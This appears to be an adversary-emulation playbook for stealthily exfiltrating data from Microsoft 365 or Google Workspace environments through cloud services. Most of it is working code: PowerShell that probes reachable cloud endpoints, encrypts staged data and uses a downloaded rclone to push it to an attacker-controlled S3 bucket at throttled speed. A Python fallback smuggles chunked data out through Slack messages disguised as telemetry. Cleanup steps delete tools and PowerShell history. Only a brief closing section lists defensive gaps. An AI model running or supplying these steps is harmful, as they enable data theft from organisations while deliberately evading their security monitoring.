Living-off-cloud exfiltration¶
Moving data through normal business processes using only approved tools and trusted destinations. Goal: complete the exfiltration phase without generating any alerts in the target’s security tooling.
Scope and prerequisites¶
Target: organisation using Microsoft 365 or Google Workspace with cloud storage; corporate firewall permits HTTPS to major cloud providers
Access: valid identity on target environment (from collection phase)
Infrastructure: attacker-controlled accounts on at least two cloud providers
Success criteria: all staged data received on attacker infrastructure; no DLP alert or SIEM alert generated
Phase 1: assess the exfiltration surface¶
Before selecting a channel, understand what outbound traffic is permitted and monitored:
# what cloud services are accessible from this host?
$services = @(
'https://graph.microsoft.com',
'https://storage.googleapis.com',
'https://s3.amazonaws.com',
'https://api.dropboxapi.com',
'https://content.dropboxapi.com',
'https://slack.com/api',
'https://downloads.rclone.org'
)
foreach ($url in $services) {
try {
$r = Invoke-WebRequest -Uri $url -Method HEAD -TimeoutSec 5 -ErrorAction Stop
Write-Output "ACCESSIBLE: $url ($($r.StatusCode))"
} catch {
Write-Output "BLOCKED: $url"
}
}
Phase 2: stage the data¶
Compress and encrypt before any transfer:
# compress collected material
Compress-Archive -Path C:\Temp\collected -DestinationPath C:\Temp\staged.zip
# optional: encrypt with a key known to attacker infrastructure
# using 7-Zip if available, or PowerShell AES
$key = [System.Convert]::FromBase64String('ATTACKER_BASE64_KEY_32BYTES')
$iv = [System.Convert]::FromBase64String('ATTACKER_BASE64_IV_16BYTES')
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Key = $key; $aes.IV = $iv
$infile = [System.IO.File]::ReadAllBytes('C:\Temp\staged.zip')
$outfile = [System.IO.File]::OpenWrite('C:\Temp\staged.enc')
$cs = New-Object System.Security.Cryptography.CryptoStream(
$outfile, $aes.CreateEncryptor(),
[System.Security.Cryptography.CryptoStreamMode]::Write)
$cs.Write($infile, 0, $infile.Length)
$cs.Close(); $outfile.Close()
Phase 3: primary channel (cloud sync)¶
Use Rclone to sync to attacker-controlled S3:
# deploy rclone without installation
Invoke-WebRequest -Uri 'https://downloads.rclone.org/rclone-current-windows-amd64.zip' `
-OutFile C:\Temp\rc.zip -UseBasicParsing
Expand-Archive C:\Temp\rc.zip C:\Temp\rctool\
$rclone = (Get-ChildItem C:\Temp\rctool -Recurse -Filter rclone.exe).FullName
# configure via environment variables (no file on disk)
$env:RCLONE_CONFIG_EXFIL_TYPE = 's3'
$env:RCLONE_CONFIG_EXFIL_PROVIDER = 'AWS'
$env:RCLONE_CONFIG_EXFIL_ACCESS_KEY_ID = 'ATTACKER_KEY'
$env:RCLONE_CONFIG_EXFIL_SECRET_ACCESS_KEY = 'ATTACKER_SECRET'
$env:RCLONE_CONFIG_EXFIL_REGION = 'eu-west-1'
# transfer: throttled to 200KB/s to blend with normal sync traffic
& $rclone copyto C:\Temp\staged.enc exfil:attacker-bucket/out.enc `
--bwlimit 200k --quiet --no-check-dest
Phase 4: backup channel (covert channel via Slack)¶
If the primary channel is blocked, use a Slack webhook as a secondary:
import requests, base64, os, time
token = 'xoxb-ATTACKER-BOT-TOKEN'
channel = 'CHANNEL_ID'
chunk_size = 3000
with open(r'C:\Temp\staged.enc', 'rb') as f:
encoded = base64.b64encode(f.read()).decode()
parts = [encoded[i:i+chunk_size] for i in range(0, len(encoded), chunk_size)]
for i, part in enumerate(parts):
requests.post('https://slack.com/api/chat.postMessage',
headers={'Authorization': f'Bearer {token}',
'Content-Type': 'application/json'},
json={'channel': channel,
'text': f'telemetry_{i:04d}: {part}'})
time.sleep(10) # pace: 1 message per 10 seconds
Phase 5: verify receipt¶
From attacker infrastructure:
# verify the file arrived intact
aws s3 ls s3://attacker-bucket/ --profile attacker
aws s3 cp s3://attacker-bucket/out.enc /tmp/received.enc --profile attacker
# decrypt and verify
openssl enc -d -aes-256-cbc -in /tmp/received.enc -out /tmp/received.zip -k KEY
md5sum /tmp/staged.zip # compare with the hash noted before transfer
unzip -t /tmp/received.zip
Phase 6: clean up on target¶
# remove rclone and any config
Remove-Item C:\Temp\rc.zip, C:\Temp\rctool\ -Recurse -Force
Remove-Item C:\Temp\staged.zip, C:\Temp\staged.enc -Force
Remove-Item C:\Temp\collected\ -Recurse -Force
# clear PowerShell history
Remove-Item (Get-PSReadlineOption).HistorySavePath -Force
[System.Environment]::SetEnvironmentVariable('RCLONE_CONFIG_EXFIL_TYPE', $null)
# (environment variables cleared on shell exit)
Defensive gaps this exposes¶
Cloud egress monitoring: absence of monitoring for API calls to cloud storage providers (vs. just web browsing)
DLP: no rate-based or volume-based detection for cloud uploads
Rclone: legitimate tool, often not blocked; its presence on a workstation may not trigger EDR
Encrypted archives: content inspection is ineffective against AES-encrypted payloads; detection must be behavioural
Slack: webhooks and bot API calls are indistinguishable from legitimate Slack application traffic